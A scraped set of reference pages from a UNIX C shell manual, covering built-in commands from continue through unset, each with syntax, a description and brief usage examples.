Previous: Reference: cd | UNIX in a Nutshell: System V Edition | Next: Reference: continue
Reference: cd | Book Index | Reference: continue
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: continue

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: chdir Chapter 5
The C Shell 		Next: Reference: default

continue

continue

Resume execution of nearest enclosing while or foreach.

Previous: Reference: chdir | UNIX in a Nutshell: System V Edition | Next: Reference: default
Reference: chdir | Book Index | Reference: default
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: default

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: continue Chapter 5
The C Shell 		Next: Reference: dirs

default

default :

Label the default case (typically last) in a switch.

Previous: Reference: continue | UNIX in a Nutshell: System V Edition | Next: Reference: dirs
Reference: continue | Book Index | Reference: dirs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: dirs

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: default Chapter 5
The C Shell 		Next: Reference: echo

dirs

dirs [-l]

Print the directory stack, showing the current directory first; use -l to expand the home directory symbol (~) to the actual directory name. See also popd and pushd.

Previous: Reference: default | UNIX in a Nutshell: System V Edition | Next: Reference: echo
Reference: default | Book Index | Reference: echo
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: echo

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: dirs Chapter 5
The C Shell 		Next: Reference: end

echo

echo [-n] string

Write string to standard output; if -n is specified, the output is not terminated by a newline. Unlike the UNIX version (/bin/echo) and the Bourne shell version, the C shell's echo doesn't support escape characters. See also echo in Sections 2 and 4.

Previous: Reference: dirs | UNIX in a Nutshell: System V Edition | Next: Reference: end
Reference: dirs | Book Index | Reference: end
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: end

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: echo Chapter 5
The C Shell 		Next: Reference: endif

end

end

Reserved word that ends a foreach or switch statement.

Previous: Reference: echo | UNIX in a Nutshell: System V Edition | Next: Reference: endif
Reference: echo | Book Index | Reference: endif
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: endif

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: end Chapter 5
The C Shell 		Next: Reference: eval

endif

endif

Reserved word that ends an if statement.

Previous: Reference: end | UNIX in a Nutshell: System V Edition | Next: Reference: eval
Reference: end | Book Index | Reference: eval
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: eval

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: endif Chapter 5
The C Shell 		Next: Reference: exec

eval

eval args

Typically, eval is used in shell scripts, and args is a line of code that contains shell variables. eval forces variable expansion to happen first and then runs the resulting command. This "double-scanning" is useful any time shell variables contain input/output redirection symbols, aliases, or other shell variables. (For example, redirection normally happens before variable expansion, so a variable containing redirection symbols must be expanded first using eval; otherwise, the redirection symbols remain uninterpreted.) A Bourne shell example can be found under eval in Section 4. Other uses of eval are shown below and under alias.

Examples

The following lines can be placed in the .login file to set up terminal characteristics:

set noglob
eval `tset -s xterm`
unset noglob

The following commands show the effect of eval:

% set b='$a'
% set a=hello
% echo $b	Read the command line once.
$a
% eval echo $b	Read the command line twice.
hello

Previous: Reference: endif | UNIX in a Nutshell: System V Edition | Next: Reference: exec
Reference: endif | Book Index | Reference: exec
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: exec

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: eval Chapter 5
The C Shell 		Next: Reference: exit

exec

exec command

Execute command in place of current shell. This terminates the current shell, rather than creating a new process under it.

Previous: Reference: eval | UNIX in a Nutshell: System V Edition | Next: Reference: exit
Reference: eval | Book Index | Reference: exit
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: exit

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: exec Chapter 5
The C Shell 		Next: Reference: fg

exit

exit [(expr)]

Exit a shell script with the status given by expr. A status of 0 means success; nonzero means failure. If expr is not specified, the exit value is that of the status variable. exit can be issued at the command line to close a window (log out).

Previous: Reference: exec | UNIX in a Nutshell: System V Edition | Next: Reference: fg
Reference: exec | Book Index | Reference: fg
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: fg

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: exit Chapter 5
The C Shell 		Next: Reference: foreach

fg

fg [jobIDs]

Bring the current job or the jobIDs to the foreground. See also "Job Control" at the end of this section.

Example

If you suspend a vi editing session (by pressing CTRL-Z), you might resume vi using any of these commands:

8% %
8% fg
8% fg %
8% fg %vi	Match initial string

Previous: Reference: exit | UNIX in a Nutshell: System V Edition | Next: Reference: foreach
Reference: exit | Book Index | Reference: foreach
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: foreach

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: fg Chapter 5
The C Shell 		Next: Reference: glob

foreach

foreach name (wordlist)
     commands
end

Assign variable name to each value in wordlist, and execute commands between foreach and end. You can use foreach as a multi-line command issued at the C-shell prompt (first example below), or you can use it in a shell script (second example).

Examples

Rename all files that begin with a capital letter:

% foreach i ([A-Z]*)
? mv $i $i.new
? end

Check whether each command-line argument is an option or not:

foreach arg ($argv)
   # does it begin with - ?
   if ("$arg" =~ -*) then
      echo "Argument is an option"
   else
      echo "Argument is a filename"
   endif
end

Previous: Reference: fg | UNIX in a Nutshell: System V Edition | Next: Reference: glob
Reference: fg | Book Index | Reference: glob
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: glob

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: foreach Chapter 5
The C Shell 		Next: Reference: goto

glob

glob wordlist

Do filename, variable, and history substitutions on wordlist. This expands it much like echo, except that no \ escapes are recognized, and words are delimited by null characters. glob is typically used in shell scripts to "hardcode" a value so that it remains the same for the rest of the script.

Previous: Reference: foreach | UNIX in a Nutshell: System V Edition | Next: Reference: goto
Reference: foreach | Book Index | Reference: goto
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: goto

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: glob Chapter 5
The C Shell 		Next: Reference: hashstat

goto

goto string

Skip to a line whose first non-blank character is string followed by a :, and continue execution below that line. On the goto line, string can be a variable or filename pattern, but the label branched to must be a literal, expanded value and must not occur within a foreach or while.

Previous: Reference: glob | UNIX in a Nutshell: System V Edition | Next: Reference: hashstat
Reference: glob | Book Index | Reference: hashstat
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: hashstat

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: goto Chapter 5
The C Shell 		Next: Reference: history

hashstat

hashstat

Display statistics that show the hash table's level of success at locating commands via the path variable.

Previous: Reference: goto | UNIX in a Nutshell: System V Edition | Next: Reference: history
Reference: goto | Book Index | Reference: history
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: history

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: hashstat Chapter 5
The C Shell 		Next: Reference: if

history

history [options]

Display the list of history events. (History syntax is discussed earlier in "Command History.")

Options

-h

Print history list without event numbers.

-r

Print in reverse order; show oldest commands last.

n

Display only the last n history commands, instead of the number set by the history shell variable.

Example

To save and execute the last five commands:

history -h 5 > do_it
source do_it

Previous: Reference: hashstat | UNIX in a Nutshell: System V Edition | Next: Reference: if
Reference: hashstat | Book Index | Reference: if
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: if

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: history Chapter 5
The C Shell 		Next: Reference: jobs

if

if

Begin a conditional statement. The simple format is:

if (expr) cmd

There are three other possible formats, shown side-by-side:

if (expr) then   if (expr) then   if (expr) then
   cmds             cmds1             cmds1
endif            else              else if (expr) then
                    cmds2             cmds2
                 endif             else
                                      cmds3
                                   endif

In the simplest form, execute cmd if expr is true; otherwise do nothing (redirection still occurs; this is a bug). In the other forms, execute one or more commands. If expr is true, continue with the commands after then; if expr is false, branch to the commands after else (or after the else if and continue checking). For more examples, see "Expressions" earlier in this section, or shift or while.

Example

Take a default action if no command-line arguments are given:

if ($#argv == 0) then
   echo "No filename given.  Sending to Report."
   set outfile = Report
else
   set outfile = $argv[1]
endif

Previous: Reference: history | UNIX in a Nutshell: System V Edition | Next: Reference: jobs
Reference: history | Book Index | Reference: jobs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: jobs

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: if Chapter 5
The C Shell 		Next: Reference: kill

jobs

jobs [-l]

List all running or stopped jobs; -l includes process IDs. For example, you can check whether a long compilation or text format is still running. Also useful before logging out.

Previous: Reference: if | UNIX in a Nutshell: System V Edition | Next: Reference: kill
Reference: if | Book Index | Reference: kill
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: kill

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: jobs Chapter 5
The C Shell 		Next: Reference: limit

kill

kill [options] ID

Terminate each specified process ID or job ID. You must own the process or be a privileged user. This built-in is similar to /bin/kill described in Section 2 but also allows symbolic job names. Stubborn processes can be killed using signal 9. See also "Job Control" at the end of this section.

Options

-l

List the signal names. (Used by itself.)

-signal

The signal number (from ps -f) or name (from kill -l).

Signals

Signals are defined in /usr/include/sys/signal.h and are listed here without the SIG prefix.

HUP	1	hangup
INT	2	interrupt
QUIT	3	quit
ILL	4	illegal instruction
TRAP	5	trace trap
IOT	6	IOT instruction
EMT	7	EMT instruction
FPE	8	floating point exception
KILL	9	kill
BUS	10	bus error
SEGV	11	segmentation violation
SYS	12	bad argument to system call
PIPE	13	write to pipe, but no process to read it
ALRM	14	alarm clock
TERM	15	software termination (the default signal)
USR1	16	user-defined signal 1
USR2	17	user-defined signal 2
CLD	18	child process died
PWR	19	restart after power failure

Examples

If you've issued the following command:

44% nroff -ms report &

you can terminate it in any of the following ways:

45% kill 19536	Process ID
45% kill %	Current job
45% kill %1	Job number 1
45% kill %nr	Initial string
45% kill %?report	Matching string

Previous: Reference: jobs | UNIX in a Nutshell: System V Edition | Next: Reference: limit
Reference: jobs | Book Index | Reference: limit
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: limit

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: kill Chapter 5
The C Shell 		Next: Reference: login

limit

limit [-h] [resource [limit]]

Display limits or set a limit on resources used by the current process and by each process it creates. If no limit is given, the current limit is printed for resource. If resource is also omitted, all limits are printed. By default, the current limits are shown or set; with -h, hard limits are used. A hard limit imposes an absolute limit that can't be exceeded. Only a privileged user may raise it. See also unlimit.

Resource

cputime

Maximum number of seconds the CPU can spend; can be abbreviated as cpu.

filesize

Maximum size of any one file.

datasize

Maximum size of data (including stack).

stacksize

Maximum size of stack.

coredumpsize

Maximum size of a core dump file.

Limit

A number followed by an optional character (a unit specifier).

For cputime: n h (for n hours), n m (for n minutes), mm:ss (minutes and seconds),

For others: n k (for n kilobytes, the default), n m (for n megabytes)

Previous: Reference: kill | UNIX in a Nutshell: System V Edition | Next: Reference: login
Reference: kill | Book Index | Reference: login
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: login

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: limit Chapter 5
The C Shell 		Next: Reference: logout

login

login [user | -p ]

Replace user's login shell with /bin/login. -p is used to preserve environment variables.

Previous: Reference: limit | UNIX in a Nutshell: System V Edition | Next: Reference: logout
Reference: limit | Book Index | Reference: logout
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: logout

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: login Chapter 5
The C Shell 		Next: Reference: nice

logout

logout

Terminate the login shell.

Previous: Reference: login | UNIX in a Nutshell: System V Edition | Next: Reference: nice
Reference: login | Book Index | Reference: nice
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: nice

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: logout Chapter 5
The C Shell 		Next: Reference: nohup

nice

nice [±n] command

Change the execution priority for command, or, if none is given, change priority for the current shell. (See also nice in Section 2.) The priority range is -20 to 20, with a default of 4. The range seems backwards: -20 gives the highest priority (fastest execution); 20 gives the lowest.

+n

Add n to the priority value (lower job priority).

-n

Subtract n from the priority value (raise job priority). Privileged users only.

Previous: Reference: logout | UNIX in a Nutshell: System V Edition | Next: Reference: nohup
Reference: logout | Book Index | Reference: nohup
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: nohup

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: nice Chapter 5
The C Shell 		Next: Reference: notify

nohup

nohup [command]

"No hangup signals." Do not terminate command after terminal line is closed (i.e., when you hang up from a phone or log out). Use without command in shell scripts to keep script from being terminated. (See also nohup in Section 2.)

Previous: Reference: nice | UNIX in a Nutshell: System V Edition | Next: Reference: notify
Reference: nice | Book Index | Reference: notify
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: notify

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: nohup Chapter 5
The C Shell 		Next: Reference: onintr

notify

notify [jobID]

Report immediately when a background job finishes (instead of waiting for you to exit a long editing session, for example). If no jobID is given, the current background job is assumed.

Previous: Reference: nohup | UNIX in a Nutshell: System V Edition | Next: Reference: onintr
Reference: nohup | Book Index | Reference: onintr
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: onintr

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: notify Chapter 5
The C Shell 		Next: Reference: popd

onintr

onintr label
onintr -
onintr

"On interrupt." Used in shell scripts to handle interrupt signals (similar to the Bourne shell's trap 2 and trap "" 2 commands). The first form is like a goto label. The script will branch to label: if it catches an interrupt signal (e.g., CTRL-C). The second form lets the script ignore interrupts. This is useful at the beginning of a script or before any code segment that needs to run unhindered (e.g., when moving files). The third form restores interrupt handling that was previously disabled with onintr -.

Example

onintr cleanup     # go to "cleanup" on interrupt
 .
 .                 # shell script commands
 .
cleanup:           # label for interrupts
  onintr -         # ignore additional interrupts
  rm -f $tmpfiles  # remove any files created
  exit 2           # exit with an error status

Previous: Reference: notify | UNIX in a Nutshell: System V Edition | Next: Reference: popd
Reference: notify | Book Index | Reference: popd
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: popd

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: onintr Chapter 5
The C Shell 		Next: Reference: pushd

popd

popd [+n]

Remove the current entry from the directory stack, or remove the nth entry from the stack. The current entry has number 0 and appears on the left. See also dirs and pushd.

Previous: Reference: onintr | UNIX in a Nutshell: System V Edition | Next: Reference: pushd
Reference: onintr | Book Index | Reference: pushd
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: pushd

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: popd Chapter 5
The C Shell 		Next: Reference: rehash

pushd

pushd name
pushd  [+n]
pushd

The first form changes the working directory to name and adds it to the directory stack. The second form rotates the nth entry to the beginning, making it the working directory. (Entry numbers begin at 0.) With no arguments, pushd switches the first two entries and changes to the new current directory. See also dirs and popd.

Examples

%5 dirs
/home/bob /usr
%6 pushd /etc	Add /etc to directory stack
/etc /home/bob /usr
%7 pushd +2	Switch to third directory
/usr /etc /home/bob
%8 pushd	Switch top two directories
/etc /usr /home/bob
%9 popd	Discard current entry; go to next
/usr /home/bob

Previous: Reference: popd | UNIX in a Nutshell: System V Edition | Next: Reference: rehash
Reference: popd | Book Index | Reference: rehash
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: rehash

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: pushd Chapter 5
The C Shell 		Next: Reference: repeat

rehash

rehash

Recompute the hash table for the path variable. Use rehash whenever a new command is created during the current session. This allows the path variable to locate and execute the command. (If the new command resides in a directory not listed in path, add this directory to path before rehashing.) See also unhash.

Previous: Reference: pushd | UNIX in a Nutshell: System V Edition | Next: Reference: repeat
Reference: pushd | Book Index | Reference: repeat
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: repeat

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: rehash Chapter 5
The C Shell 		Next: Reference: set

repeat

repeat n command

Execute n instances of command.

Examples

Print three copies of memo:

% repeat 3 pr memo | lp

Read 10 lines from the terminal and store in item_list:

% repeat 10 line > item_list

Append 50 boilerplate files to report:

% repeat 50 cat template >> report

Previous: Reference: rehash | UNIX in a Nutshell: System V Edition | Next: Reference: set
Reference: rehash | Book Index | Reference: set
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: set

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: repeat Chapter 5
The C Shell 		Next: Reference: setenv

set

set variable = value
set variable[n] = value
set

Set variable to value, or if multiple values are specified, set the variable to the list of words in the value list. If an index n is specified, set the nth word in the variable to value. (The variable must already contain at least that number of words.) With no arguments, display the names and values of all set variables. See also "Predefined Shell Variables" earlier in this section.

Examples

% set list=(yes no mabye)	Assign a wordlist
% set list[3]=maybe	Assign an item in existing wordlist
% set quote="Make my day"	Assign a variable
% set x=5 y=10 history=100	Assign several variables
% set blank	Assign a null value to blank

Previous: Reference: repeat | UNIX in a Nutshell: System V Edition | Next: Reference: setenv
Reference: repeat | Book Index | Reference: setenv
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: setenv

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: set Chapter 5
The C Shell 		Next: Reference: shift

setenv

setenv [name [value]]

Assign a value to an environment variable name. By convention, name must be uppercase. value can be a single word or a quoted string. If no value is given, the null value is assigned. With no arguments, display the names and values of all environment variables. setenv is not necessary for the USER, TERM, and PATH variables because they are automatically exported from user, term, and path. See also "Environment Variables" earlier in this section.

Previous: Reference: set | UNIX in a Nutshell: System V Edition | Next: Reference: shift
Reference: set | Book Index | Reference: shift
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: shift

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: setenv Chapter 5
The C Shell 		Next: Reference: source

shift

shift [variable]

If variable is given, shift the words in a wordlist variable; i.e., name[2] becomes name[1]. With no argument, shift the positional parameters (command-line arguments); i.e., $2 becomes $1. shift is typically used in a while loop. See additional example under while.

Example

while ($#argv)      # while there are arguments
    if (-f $argv[1])
       wc -l $argv[1]
    else
       echo "$argv[1] is not a regular file"
    endif
    shift           # get the next argument
end

Previous: Reference: setenv | UNIX in a Nutshell: System V Edition | Next: Reference: source
Reference: setenv | Book Index | Reference: source
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: source

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: shift Chapter 5
The C Shell 		Next: Reference: stop

source

source [-h] script

Read and execute commands from a C shell script. With -h, the commands are added to the history list but aren't executed.

Example

source ~/.cshrc

Previous: Reference: shift | UNIX in a Nutshell: System V Edition | Next: Reference: stop
Reference: shift | Book Index | Reference: stop
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: stop

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: source Chapter 5
The C Shell 		Next: Reference: suspend

stop

stop [jobIDs]

Suspend the current background job or the background job specified by jobIDs; this is the complement of CTRL-Z or suspend.

Previous: Reference: source | UNIX in a Nutshell: System V Edition | Next: Reference: suspend
Reference: source | Book Index | Reference: suspend
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: suspend

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: stop Chapter 5
The C Shell 		Next: Reference: switch

suspend

suspend

Suspend the current foreground job; same as CTRL-Z. Often used to stop an su command.

Previous: Reference: stop | UNIX in a Nutshell: System V Edition | Next: Reference: switch
Reference: stop | Book Index | Reference: switch
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: switch

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: suspend Chapter 5
The C Shell 		Next: Reference: time

switch

switch

Process commands depending on value of a variable. When you need to handle more than three choices, switch is a useful alternative to an if-then-else statement. If the string variable matches pattern1, the first set of commands are executed; if string matches pattern2, the second set of commands are executed; and so on. If no patterns match, execute commands under the default case. string can be specified using command substitution, variable substitution, or filename expansion. Patterns can be specified using pattern-matching symbols *, ?, and [ ]. breaksw is used to exit the switch after commands are executed. If breaksw is omitted (which is rarely done), the switch continues to execute another set of commands until it reaches a breaksw or endsw. Below is the general syntax of switch, side-by-side with an example that processes the first command-line argument.

switch (string)	switch ($argv[1])
  case pattern1:	  case -[nN]:
      commands	      nroff $file | lp
      breaksw	      breaksw
  case pattern2:	  case -[Pp]:
      commands	      pr $file | lp
      breaksw	      breaksw
  case pattern3:	  case -[Mm]:
      commands	      more $file
      breaksw	      breaksw
      .	  case -[Ss]:
      .	      sort $file
      .	      breaksw
  default:	  default:
      commands	      echo "Error-no such option"
               exit 1
      breaksw	      breaksw
endsw	endsw

Previous: Reference: suspend | UNIX in a Nutshell: System V Edition | Next: Reference: time
Reference: suspend | Book Index | Reference: time
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: time

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: switch Chapter 5
The C Shell 		Next: Reference: umask

time

time [command]

Execute a command and show how much time it uses. With no argument, time can be used in a shell script to time it.

Previous: Reference: switch | UNIX in a Nutshell: System V Edition | Next: Reference: umask
Reference: switch | Book Index | Reference: umask
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: umask

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: time Chapter 5
The C Shell 		Next: Reference: unalias

umask

umask [nnn]

Display file creation mask or set file creation mask to octal nnn. The file creation mask determines which permission bits are turned off. umask is also a UNIX command. See the entry in Section 2 for examples.

Previous: Reference: time | UNIX in a Nutshell: System V Edition | Next: Reference: unalias
Reference: time | Book Index | Reference: unalias
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: unalias

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: umask Chapter 5
The C Shell 		Next: Reference: unhash

unalias

unalias name

Remove name from the alias list. See alias for more information.

Previous: Reference: umask | UNIX in a Nutshell: System V Edition | Next: Reference: unhash
Reference: umask | Book Index | Reference: unhash
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: unhash

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: unalias Chapter 5
The C Shell 		Next: Reference: unlimit

unhash

unhash

Remove internal hash table. The C shell will stop using hashed values and will spend time searching the path directories to locate a command. See also rehash.

Previous: Reference: unalias | UNIX in a Nutshell: System V Edition | Next: Reference: unlimit
Reference: unalias | Book Index | Reference: unlimit
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: unlimit

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: unhash Chapter 5
The C Shell 		Next: Reference: unset

unlimit

unlimit [resource]

Remove the allocation limits on resource. If resource is not specified, remove limits for all resources. See limit for more information.

Previous: Reference: unhash | UNIX in a Nutshell: System V Edition | Next: Reference: unset
Reference: unhash | Book Index | Reference: unset
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: unset

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: unlimit Chapter 5
The C Shell 		Next: Reference: unsetenv

unset

unset variables

Remove one or more variables. Variable names may be specified as a pattern, using filename metacharacters. See set.

Previous: Reference: unlimit | UNIX in a Nutshell: System V Edition | Next: Reference: unsetenv
Reference: unlimit | Book Index | Reference: unsetenv
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


